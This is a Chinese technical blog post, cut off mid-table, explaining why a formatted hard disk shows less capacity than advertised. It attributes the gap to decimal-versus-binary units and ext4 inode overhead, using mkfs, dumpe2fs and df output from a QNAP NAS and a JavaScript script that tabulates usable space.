&lt;p&gt;首先，大家如果用过电脑，也许听说过这么一个常识：对于容量，硬盘厂商使用 1000 进制，而电脑对于容量的计算，使用 1024 进制，单位是 TiB, GiB, MiB, KiB(&lt;code&gt;binary Bytes&lt;/code&gt;)。其中，$1KiB = 1024Bytes$，$1MiB = 1024KiB$，$1GiB = 1024MiB$&lt;/p&gt;
&lt;p&gt;那么，对于一个 8TB 硬盘，在硬盘厂商看来，字节数是&lt;/p&gt;
&lt;p&gt;$$
8TB=8 \times 1000^4 Bytes
$$&lt;/p&gt;
&lt;p&gt;而在电脑看来，8TiB 有这么多字节&lt;/p&gt;
&lt;p&gt;$$
8TiB=8\times1024^4Bytes
$$&lt;/p&gt;
&lt;p&gt;因此，到了电脑上，厂商标称的 8TB 硬盘，经过转换后&lt;/p&gt;
&lt;p&gt;$$
\frac{8TB \times1000^4 \frac{Bytes}{TB}}{1024^4{\frac{Bytes}{TiB}}} \approx 7.275TiB
$$&lt;/p&gt;
&lt;p&gt;同样地，如果我们要为 GiB 为单位显示 1TB 的硬盘的大小，那么&lt;/p&gt;
&lt;p&gt;$$
1000GB*\frac{1000^3{\frac{Bytes}{GB}}}{1024^3{\frac{Bytes}{GiB}}}\approx931GiB
$$&lt;/p&gt;
&lt;p&gt;这就是很多人拿到 1TB 硬盘后插到电脑，在&quot;我的电脑&quot;看到的可用容量为 931GB 的原因&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;少掉的第二重容量：文件系统数据&lt;/h2&gt;
&lt;p&gt;实际上，还有另一层隐形的开销——文件系统。下面以 ext4 文件系统为例解释这层开销&lt;/p&gt;
&lt;p&gt;我们要知道一点：在文件系统中，数据的存储不仅需要存储数据本身，还需要存储用于描述和索引这些数据的信息。&lt;/p&gt;
&lt;p&gt;首先，文件系统以块（block）作为单位分配存储空间。其中，一个块是一个介于 1KiB 到 64KiB 的一组 sectors，块的大小（block size）默认是 4KiB&lt;/p&gt;
&lt;p&gt;其次，文件系统会使用 inode（一种数据结构）对文件进行描述，inode 里包含了如时间戳、文件链接、文件的大小、块的位置等文件信息。一般来说，一个文件会有一个对应的 inode 用于存放元数据，inode 的数量决定了最多存放的文件数量。同理，为了存储 inode 数据，inode 在文件系统也会占用一定空间，大小默认为 256Bytes 一个 inode&lt;/p&gt;
&lt;p&gt;这就像在使用储物柜时：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;储物柜由很多小格子组成，每个格子都有固定大小，这些格子就像文件系统中的 block&lt;/li&gt;
&lt;li&gt;我们需要一个签名表来记录&quot;哪些物品放在哪些格子里&quot;，以及&quot;物品的大小、存放时间&quot;等信息，这个签名表就像文件系统中的 inode，也会占用储物柜的空间&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在 Linux 下，我们可以使用 &lt;code&gt;mkfs.ext4&lt;/code&gt; 格式化硬盘为 ext4 文件系统&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mkfs.ext4 /dev/sdb1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当然，用户可以手动指定 &lt;code&gt;mkfs&lt;/code&gt; 的 &lt;code&gt;block-size&lt;/code&gt;, &lt;code&gt;inode-size&lt;/code&gt; 和 &lt;code&gt;bytes-per-inode&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;man mkfs.ext4

OPTIONS
		-b block-size
			  Specify  the size of blocks in bytes.  Valid block-size values are powers of two from 1024 up to 65536 (however note that the kernel is able to mount only
			  file systems with block-size smaller or equal to the system page size - 4k on x86 systems, up to 64k on ppc64 or aarch64 depending  on  kernel  configura‐
			  tion).  If omitted, block-size is heuristically determined by the file system size and the expected usage of the file system (see the -T option).  In most
			  common cases, the default block size is 4k. If block-size is preceded by a negative sign (&apos;-&apos;), then mke2fs will use heuristics to determine the appropri‐
			  ate block size, with the constraint that the block size will be at least block-size bytes.  This is useful for certain hardware devices which require that
			  the blocksize be a multiple of 2k.
		
		-i bytes-per-inode
			  Specify  the  bytes/inode ratio.  mke2fs creates an inode for every bytes-per-inode bytes of space on the disk.  The larger the bytes-per-inode ratio, the
			  fewer inodes will be created.  This value generally shouldn&apos;t be smaller than the blocksize of the file system, since in that case more  inodes  would  be
			  made  than can ever be used.  Be warned that it is not possible to change this ratio on a file system after it is created, so be careful deciding the cor‐
			  rect value for this parameter.  Note that resizing a file system changes the number of inodes to maintain this ratio.
		
		-I inode-size
			  Specify the size of each inode in bytes.  The inode-size value must be a power of 2 larger or equal to 128.  The larger the inode-size the more space  the
			  inode  table  will consume, and this reduces the usable space in the file system and can also negatively impact performance.  It is not possible to change
			  this value after the file system is created.
		
			  File systems with an inode size of 128 bytes do not support timestamps beyond January 19, 2038.  Inodes which are 256 bytes or  larger  will  support  ex‐
			  tended timestamps, project id&apos;s, and the ability to store some extended attributes in the inode table for improved performance.
		
			  The  default inode size is controlled by the mke2fs.conf(5) file.  In the mke2fs.conf file shipped with e2fsprogs, the default inode size is 256 bytes for
			  most file systems, except for small file systems where the inode size will be 128 bytes.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;大部分的 Linux 系统的默认配置如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@pve:~# cat /etc/mke2fs.conf 
[defaults]
        base_features = sparse_super,large_file,filetype,resize_inode,dir_index,ext_attr
        default_mntopts = acl,user_xattr
        enable_periodic_fsck = 0
        blocksize = 4096
        inode_size = 256
        inode_ratio = 16384
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;QNAP NAS 所使用的系统 QTS 的 inode 和 block 的大小是固定的（前者是 256Bytes，后者是 4096Bytes），我们只能对 &lt;code&gt;bytes-per-inode&lt;/code&gt; 进行选择（QNAP 提供了 4/8/16/32/64KiB 的 &lt;code&gt;bytes-per-inode&lt;/code&gt; 选项）。指定 &lt;code&gt;bytes-per-inode&lt;/code&gt; 的值，就是在指定 &lt;code&gt;inode_ratio&lt;/code&gt;，即 &lt;code&gt;mkfs.ext4&lt;/code&gt; 会为每 &lt;code&gt;inode_ratio&lt;/code&gt; 个字节创建一个 inode&lt;/p&gt;
&lt;p&gt;$$
Number(inode)=\frac{TotalBytes}{InodeRatio}
$$&lt;/p&gt;
&lt;p&gt;不同的 &lt;code&gt;bytes-per-inode&lt;/code&gt; 会带来不同的文件系统最大支持的容量/最多可存储的文件数，以及影响 data block 区域的大小，这里以文章开头那张图进行计算&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;我们登录 QNAP 的 SSH，使用 &lt;code&gt;parted&lt;/code&gt; 查看的分区的实际大小&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[situ@situ-nas ~]$ sudo parted /dev/mapper/cachedev2 unit B print
Model: Linux device-mapper (linear) (dm)
Disk /dev/mapper/cachedev2: 7911329759232B
Sector size (logical/physical): 512B/4096B
Partition Table: loop
Disk Flags: 

Number  Start  End             Size            File system  Flags
 1      0B     7911329759231B  7911329759232B  ext4
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那么按照 32K 这个 &lt;code&gt;inode-ratio&lt;/code&gt;，则有 inode 的数量如下&lt;/p&gt;
&lt;p&gt;$$
\frac{7911329759232Bytes}{32768Bytes}=241434624
$$&lt;/p&gt;
&lt;p&gt;然后使用 &lt;code&gt;dumpe2fs&lt;/code&gt; 查看分区的情况。可以看到，分区分配的 inode 与我们计算一致&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[situ@situ-nas ~]$ dumpe2fs -h /dev/mapper/cachedev2
Inode count:              241434624
Block count:              1931476992
Reserved block count:     131072
Free blocks:              1915964476
Free inodes:              241434612
First block:              0
Block size:               4096
Fragment size:            4096
Group descriptor size:    64
Reserved GDT blocks:      1024
Blocks per group:         32768
Fragments per group:      32768
Inodes per group:         4096
Inode blocks per group:   256
RAID stride:              128
RAID stripe width:        128
Flex block group size:    16
Reserved blocks uid:      0 (user admin)
Reserved blocks gid:      0 (group administrators)
First inode:              11
Inode size:               256
Required extra isize:     32
Desired extra isize:      32
Journal inode:            8
Default directory hash:   half_md4
Journal backup:           inode blocks
Journal features:         journal_incompat_revoke journal_64bit
Journal size:             1024M
Journal length:           262144
Journal sequence:         0x00000005
Journal start:            15
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;实际上， QNAP 的前端页面就是这么计算格式化后的预期的 inode 数量的。我们在浏览器 F12 里打一个 subtree modification breakpoint，然后切换 GUI 的 &lt;code&gt;inode-ratio&lt;/code&gt; 选中项，可以看到如下代码实现&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function e() {
	var a = QNAP.lib.GetNormalizedSize(c.app.getStore(&quot;volumeInfo&quot;).data.items[0].data.realsize_kb) // 这里，a=7911329759232
	  , b = Ext.getCmp(&quot;P3FileSystemOptionPanel_Desc02_Value&quot;)
	  , e = 65536;
	Ext.getCmp(&quot;P3InodeRatio&quot;).items.items.each(function(a) {
		// 设置 e 为 inode-ratio
		!0 === a.getValue() &amp;amp;&amp;amp; (e = QNAP.lib.iNodeTable[a.inputValue][1]) 
	});
	a = g.addCommaToNumber(parseInt(1024 * a / e));
	b.setText(a);
	return a
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也就是说，光是 inode 的数据，就吃了这么多&lt;/p&gt;
&lt;p&gt;$$
241434624\times256Bytes=57.5625GB
$$&lt;/p&gt;
&lt;p&gt;&lt;code&gt;parted&lt;/code&gt; 给出是整个分区的字节数。如果我们用 &lt;code&gt;df&lt;/code&gt; 命令查看该分区的大小，便是如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Filesystem           1K-blocks      Used Available Use% Mounted on
/dev/mapper/cachedev2
                     7663948048 370873880 7292533496   5% /share/CACHEDEV2_DATA
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;经过计算，得出提供给 data block 的容量大约如下所示，与开头图片的 UI 所示的 Capacity 差不多&lt;/p&gt;
&lt;p&gt;$$
7663948048KiB \approx7.14TB
$$&lt;/p&gt;
&lt;p&gt;这时候我们再比较一下 &lt;code&gt;df&lt;/code&gt; 和 &lt;code&gt;parted&lt;/code&gt; 的值是不是近似相差了 inode 的体积，可以发现差值是差不多的（因为还有超级块、位视图等数据开销）&lt;/p&gt;
&lt;p&gt;$$
\frac{241434624inode\times256B/inode}{7911329759231B-(7663948048 \times 1024)B} \approx97.4%
$$&lt;/p&gt;
&lt;h2&gt;设备的大小与感知的强弱&lt;/h2&gt;
&lt;p&gt;为什么笔者现在才感知到这个问题呢？嘛，其实是因为之前用的存储的体积相对太小了...&lt;/p&gt;
&lt;p&gt;那我们不妨&lt;strong&gt;简单计算&lt;/strong&gt;一下不同设备的格式化后的体积大小。因此，在这里，我们简单计算并列出常见大小的硬盘设备在经过上述双重容量“减少”后，留给数据存储用的大致容量&lt;/p&gt;
&lt;p&gt;我们控制 &lt;code&gt;inode-size&lt;/code&gt; 为 256Bytes 不变，只改变 &lt;code&gt;inode-ratio&lt;/code&gt; 的大小（4K/8K/16K/32K/64K）。并使用脚本进行计算 32G/64G/128G/256G/512G/1T/2T/3T/4T/8T/10T/14T/16T 的结果，并输出 markdown 表格&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const INODE_RATIOS = [4,8,16,32,64]
const INODE_SIZE = 256

const diskSizeDecimal = [
  [32,&apos;GB&apos;],
  [64,&apos;GB&apos;],
  [128,&apos;GB&apos;],
  [256,&apos;GB&apos;],
  [512,&apos;GB&apos;],
  [1,&apos;TB&apos;],
  [2,&apos;TB&apos;],
  [4,&apos;TB&apos;],
  [8,&apos;TB&apos;],
  [10,&apos;TB&apos;],
  [14,&apos;TB&apos;],
  [16,&apos;TB&apos;],
]

const unitNameMap = {
  &apos;B&apos;: &apos;B&apos;,
  &apos;KB&apos;: &apos;KiB&apos;,
  &apos;MB&apos;: &apos;MiB&apos;,
  &apos;GB&apos;: &apos;GiB&apos;,
  &apos;TB&apos;: &apos;TiB&apos;,
}

const convertDecimalUnitToBytes = (sizeNum,unit) =&amp;gt; {
  const unitMap = {
    &apos;B&apos;: 1n,
    &apos;KB&apos;: 1000n,
    &apos;MB&apos;: 1000n ** 2n,
    &apos;GB&apos;: 1000n ** 3n,
    &apos;TB&apos;: 1000n ** 4n,
  }
  return BigInt(sizeNum) * unitMap[unit]
}

const convertBinaryUnitToBytes = (sizeNum,unit) =&amp;gt; {
  const unitMap = {
    &apos;B&apos;: 1n,
   &quot;KiB&quot;: 1024n,
   &quot;MiB&quot;: 1024n ** 2n,
   &quot;GiB&quot;: 1024n ** 3n,
   &quot;TiB&quot;: 1024n ** 4n,
  }
  return BigInt(sizeNum) * unitMap[unit]
}

const covertBytesToBinaryUnit = (bytes,unit) =&amp;gt; {
  const unitMap = {
    &apos;B&apos;: 1n,
   &quot;KiB&quot;: 1024n,
   &quot;MiB&quot;: 1024n ** 2n,
   &quot;GiB&quot;: 1024n ** 3n,
   &quot;TiB&quot;: 1024n ** 4n,
  }
  const binaryUnit = unitMap[unit]
  return Number(bytes) / Number(binaryUnit)
}


const calculateInodeNumber = (bytesTotal,inodeRatio) =&amp;gt;
  Math.ceil(Number(bytesTotal) / Number(convertBinaryUnitToBytes(inodeRatio,&apos;KiB&apos;)))


const mdTableHeader = &apos;| 硬盘容量 | Inode Ratio| 实际大小  | Inode 占用 | 数据实际可用 |&apos;
const mdTableSplit = &apos;| --- | --- | --- | --- | --- |&apos;

const rows = []
rows.push(mdTableHeader)
rows.push(mdTableSplit)

for (const disk of diskSizeDecimal) {
  const [sizeNum,sizeUnit] = disk
  const binaryUnitName = unitNameMap[sizeUnit]

  const bytesTotal = convertDecimalUnitToBytes(sizeNum,sizeUnit)
  const totalSizeInBinaryUnit = covertBytesToBinaryUnit(bytesTotal,binaryUnitName)

  for (const inodeRatio of INODE_RATIOS) {
    const inodeNumber = calculateInodeNumber(bytesTotal,inodeRatio)
    const inodeSize = BigInt(inodeNumber) * BigInt(INODE_SIZE)
    const inodeSizeInBinaryUnit = covertBytesToBinaryUnit(inodeSize,binaryUnitName)
    const dataSize = bytesTotal - inodeSize
    const dataSizeInBinaryUnit = covertBytesToBinaryUnit(dataSize,binaryUnitName)

    rows.push(`| ${sizeNum} ${sizeUnit} | ${inodeRatio}| ${totalSizeInBinaryUnit.toFixed(2)} ${binaryUnitName} | ${inodeSizeInBinaryUnit.toFixed(3)} ${binaryUnitName} | ${dataSizeInBinaryUnit.toFixed(2)} ${binaryUnitName} |`)
  }
}

console.log(rows.join(&apos;\n&apos;))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以得到如下表格，可以看出，当 &lt;code&gt;inode-ratio&lt;/code&gt; 为默认的 16K 且硬盘本身容量不大的时候，inode 占用的体积对用户而言实际感知不强&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;硬盘容量&lt;/th&gt;
&lt;th&gt;Inode Ratio&lt;/th&gt;
&lt;th&gt;实际大小&lt;/th&gt;
&lt;th&gt;Inode 占用&lt;/th&gt;
&lt;th&gt;数据实际可用&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;32 GB&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;29.80 GiB&lt;/td&gt;
&lt;td&gt;1.863 GiB&lt;/td&gt;
&lt;td&gt;27.94 GiB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;32 GB&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;29.80 GiB&lt;/td&gt;
&lt;td&gt;0.931 GiB&lt;/td&gt;
&lt;td&gt;28.87 GiB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;32 GB&lt;/td&gt;
&lt;td&gt;16&lt;/td&gt;
&lt;td&gt;29.80 GiB&lt;/td&gt;
&lt;td&gt;0.466 GiB&lt;/td&gt;
&lt;td&gt;29.34 GiB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;32 GB&lt;/td&gt;
&lt;td&gt;32&lt;/td&gt;
&lt;td&gt;29.80 GiB&lt;/td&gt;
&lt;td&gt;0.233 GiB&lt;/td&gt;
&lt;td&gt;29.57 GiB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;32 GB&lt;/td&gt;
&lt;td&gt;64&lt;/td&gt;
&lt;td&gt;29.80 GiB&lt;/td&gt;
&lt;td&gt;0.116 GiB&lt;/td&gt;
&lt;td&gt;29.69 GiB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;64 GB&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;59.60 GiB&lt;/td&gt;
&lt;td&gt;3.725 GiB&lt;/td&gt;
&lt;td&gt;55.88 GiB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;64 GB&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;59.60 GiB&lt;/td&gt;
&lt;td&gt;1.863 GiB&lt;/td&gt;
&lt;td&gt;57.74 GiB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;64 GB&lt;/td&gt;
&lt;td&gt;16&lt;/td&gt;
&lt;td&gt;59.60 GiB&lt;/td&gt;
&lt;td&gt;0.931 GiB&lt;/td&gt;
&lt;td&gt;58.67 GiB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;64 GB&lt;/td&gt;
&lt;td&gt;32&lt;/td&gt;
&lt;td&gt;59.60 GiB&lt;/td&gt;
&lt;td&gt;0.466 GiB&lt;/td&gt;
&lt;td&gt;59.14 GiB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;64 GB&lt;/td&gt;
&lt;td&gt;64&lt;/td&gt;
&lt;td&gt;59.60 GiB&lt;/td&gt;
&lt;td&gt;0.233 GiB&lt;/td&gt;
&lt;td&gt;59.37 GiB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;128 GB&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;119.21 GiB&lt;/td&gt;
&lt;td&gt;7.451 GiB&lt;/td&gt;
&lt;td&gt;111.76 GiB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;128 GB&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;119.21 GiB&lt;/td&gt;
&lt;td&gt;3.725 GiB&lt;/td&gt;
&lt;td&gt;115.48 GiB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;128 GB&lt;/td&gt;
&lt;td&gt;16&lt;/td&gt;
&lt;td&gt;119.21 GiB&lt;/td&gt;
&lt;td&gt;1.863 GiB&lt;/td&gt;
&lt;td&gt;117.35 GiB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;128 GB&lt;/td&gt;
&lt;td&gt;32&lt;/td&gt;
&lt;td&gt;119.21 GiB&lt;/td&gt;
&lt;td&gt;0.931 GiB&lt;/td&gt;
&lt;td&gt;118.28 GiB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;128 GB&lt;/td&gt;
&lt;td&gt;64&lt;/td&gt;
&lt;td&gt;119.21 GiB&lt;/td&gt;
&lt;td&gt;0.466 GiB&lt;/td&gt;
&lt;td&gt;118.74 GiB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;256 GB&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;238.42 GiB&lt;/td&gt;
&lt;td&gt;14.901 GiB&lt;/td&gt;
&lt;td&gt;223.52 GiB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;256 GB&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;238.42 GiB&lt;/td&gt;
&lt;td&gt;7.451 GiB&lt;/td&gt;
&lt;td&gt;230.97 GiB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;256 GB&lt;/td&gt;
&lt;td&gt;16&lt;/td&gt;
&lt;td&gt;238.42 GiB&lt;/td&gt;
&lt;td&gt;3.725 GiB&lt;/td&gt;
&lt;td&gt;234.69 GiB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;256 GB&lt;/td&gt;
&lt;td&gt;32&lt;/td&gt;
&lt;td&gt;238.42 GiB&lt;/td&gt;
&lt;td&gt;1.863 GiB&lt;/td&gt;
&lt;td&gt;236.56 GiB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;256 GB&lt;/td&gt;
&lt;td&gt;64&lt;/td&gt;
&lt;td&gt;238.42 GiB&lt;/td&gt;
&lt;td&gt;0.931 GiB&lt;/td&gt;
&lt;td&gt;237.49 GiB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;512 GB&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;476.84 GiB&lt;/td&gt;
&lt;td&gt;29.802 GiB&lt;/td&gt;
&lt;td&gt;447.03 GiB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;512 GB&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;476.84 GiB&lt;/td&gt;
&lt;td&gt;14.901 GiB&lt;/td&gt;
&lt;td&gt;461.94 GiB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;512 GB&lt;/td&gt;
&lt;td&gt;16&lt;/td&gt;
&lt;td&gt;476.84 GiB&lt;/td&gt;
&lt;td&gt;7.451 GiB&lt;/td&gt;
&lt;td&gt;469.39 GiB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;512 GB&lt;/td&gt;
&lt;td&gt;32&lt;/td&gt;
&lt;td&gt;476.84 GiB&lt;/td&gt;
&lt;td&gt;3.725 GiB&lt;/td&gt;
&lt;td&gt;473.11 GiB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;512 GB&lt;/td&gt;
&lt;td&gt;64&lt;/td&gt;
&lt;td&gt;476.84 GiB&lt;/td&gt;
&lt;td&gt;1.863 GiB&lt;/td&gt;
&lt;td&gt;474.97 GiB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1 TB&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;0.91 TiB&lt;/td&gt;
&lt;td&gt;0.057 TiB&lt;/td&gt;
&lt;td&gt;0.85 TiB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1 TB&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;0.91 TiB&lt;/td&gt;
&lt;td&gt;0.028 TiB&lt;/td&gt;
&lt;td&gt;0.88 TiB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1 TB&lt;/td&gt;
&lt;td&gt;16&lt;/td&gt;
&lt;td&gt;0.91 TiB&lt;/td&gt;
&lt;td&gt;0.014 TiB&lt;/td&gt;
&lt;td&gt;0.90 TiB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1 TB&lt;/td&gt;
&lt;td&gt;32&lt;/td&gt;
&lt;td&gt;0.91 TiB&lt;/td&gt;
&lt;td&gt;0.007 TiB&lt;/td&gt;
&lt;td&gt;0.90 TiB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1 TB&lt;/td&gt;
&lt;td&gt;64&lt;/td&gt;
&lt;td&gt;0.91 TiB&lt;/td&gt;
&lt;td&gt;0.004 TiB&lt;/td&gt;
&lt;td&gt;0.91 TiB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2 TB&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;1.82 TiB&lt;/td&gt;
&lt;td&gt;0.114 TiB&lt;/td&gt;
&lt;td&gt;1.71 TiB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2 TB&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;1.82 TiB&lt;/td&gt;
&lt;td&gt;0.057 TiB&lt;/td&gt;
&lt;td&gt;1.76 TiB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2 TB&lt;/td&gt;
&lt;td&gt;16&lt;/td&gt;
&lt;td&gt;1.82 TiB&lt;/td&gt;
&lt;td&gt;0.028 TiB&lt;/td&gt;
&lt;td&gt;1.79 TiB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2 TB&lt;/td&gt;
&lt;td&gt;32&lt;/td&gt;
&lt;td&gt;1.82 TiB&lt;/td&gt;
&lt;td&gt;0.014 TiB&lt;/td&gt;
&lt;td&gt;1.80 TiB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2 TB&lt;/td&gt;
&lt;td&gt;64&lt;/td&gt;
&lt;td&gt;1.82 TiB&lt;/td&gt;
&lt;td&gt;0.007 TiB&lt;/td&gt;
&lt;td&gt;1.81 TiB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4 TB&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;3.64 TiB&lt;/td&gt;
&lt;td&gt;0.227 TiB&lt;/td&gt;
&lt;td&gt;3.41 TiB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4 TB&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;3.64 TiB&lt;/td&gt;
&lt;td&gt;0.114 TiB&lt;/td&gt;
&lt;td&gt;3.52 TiB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4 TB&lt;/td&gt;
&lt;td&gt;16&lt;/td&gt;
&lt;td&gt;3.64 TiB&lt;/td&gt;
&lt;td&gt;0.057 TiB&lt;/td&gt;
&lt;td&gt;3.58 TiB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4 TB&lt;/td&gt;
&lt;td&gt;32&lt;/td&gt;
&lt;td&gt;3.64 TiB&lt;/td&gt;
&lt;td&gt;0.028 TiB&lt;/td&gt;
&lt;td&gt;3.61 TiB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4 TB&lt;/td&gt;
&lt;td&gt;64&lt;/td&gt;
&lt;td&gt;3.64 TiB&lt;/td&gt;
&lt;td&gt;0.014 TiB&lt;/td&gt;
&lt;td&gt;3.62 TiB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8 TB&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;7.28 TiB&lt;/td&gt;
&lt;td&gt;0.455 TiB&lt;/td&gt;
&lt;td&gt;6.82 TiB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8 TB&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;7.28 TiB&lt;/td&gt;
&lt;td&gt;0.227 TiB&lt;/td&gt;
&lt;td&gt;7.05 TiB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8 TB&lt;/td&gt;
&lt;td&gt;16&lt;/td&gt;
&lt;td&gt;7.28 TiB&lt;/td&gt;
&lt;td&gt;0.114 TiB&lt;/td&gt;
&lt;td&gt;7.16 TiB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8 TB&lt;/td&gt;
&lt;td&gt;32&lt;/td&gt;
&lt;td&gt;7.28 TiB&lt;/td&gt;
&lt;td&gt;0.057 TiB&lt;/td&gt;
&lt;td&gt;7.22 TiB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8 TB&lt;/td&gt;
&lt;td&gt;64&lt;/td&gt;
&lt;td&gt;7.28 TiB&lt;/td&gt;
&lt;td&gt;0.028 TiB&lt;/td&gt;
&lt;td&gt;7.25 TiB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10 TB&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;9.09 TiB&lt;/td&gt;
&lt;td&gt;0.568 TiB&lt;/td&gt;
&lt;td&gt;8.53 TiB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10 TB&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;9.09 TiB&lt;/td&gt;
&lt;td&gt;0.284 TiB&lt;/td&gt;
&lt;td&gt;8.81 TiB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10 TB&lt;/td&gt;
&lt;td&gt;16&lt;/td&gt;
&lt;td&gt;9.09 TiB&lt;/td&gt;
&lt;td&gt;0.142 TiB&lt;/td&gt;
&lt;td&gt;8.95 TiB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10 TB&lt;/td&gt;
&lt;td&gt;32&lt;/td&gt;
&lt;td&gt;9.09 TiB&lt;/td&gt;
&lt;td&gt;0.071 TiB&lt;/td&gt;
&lt;td&gt;9.02 TiB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10 TB&lt;/td&gt;
&lt;td&gt;64&lt;/td&gt;
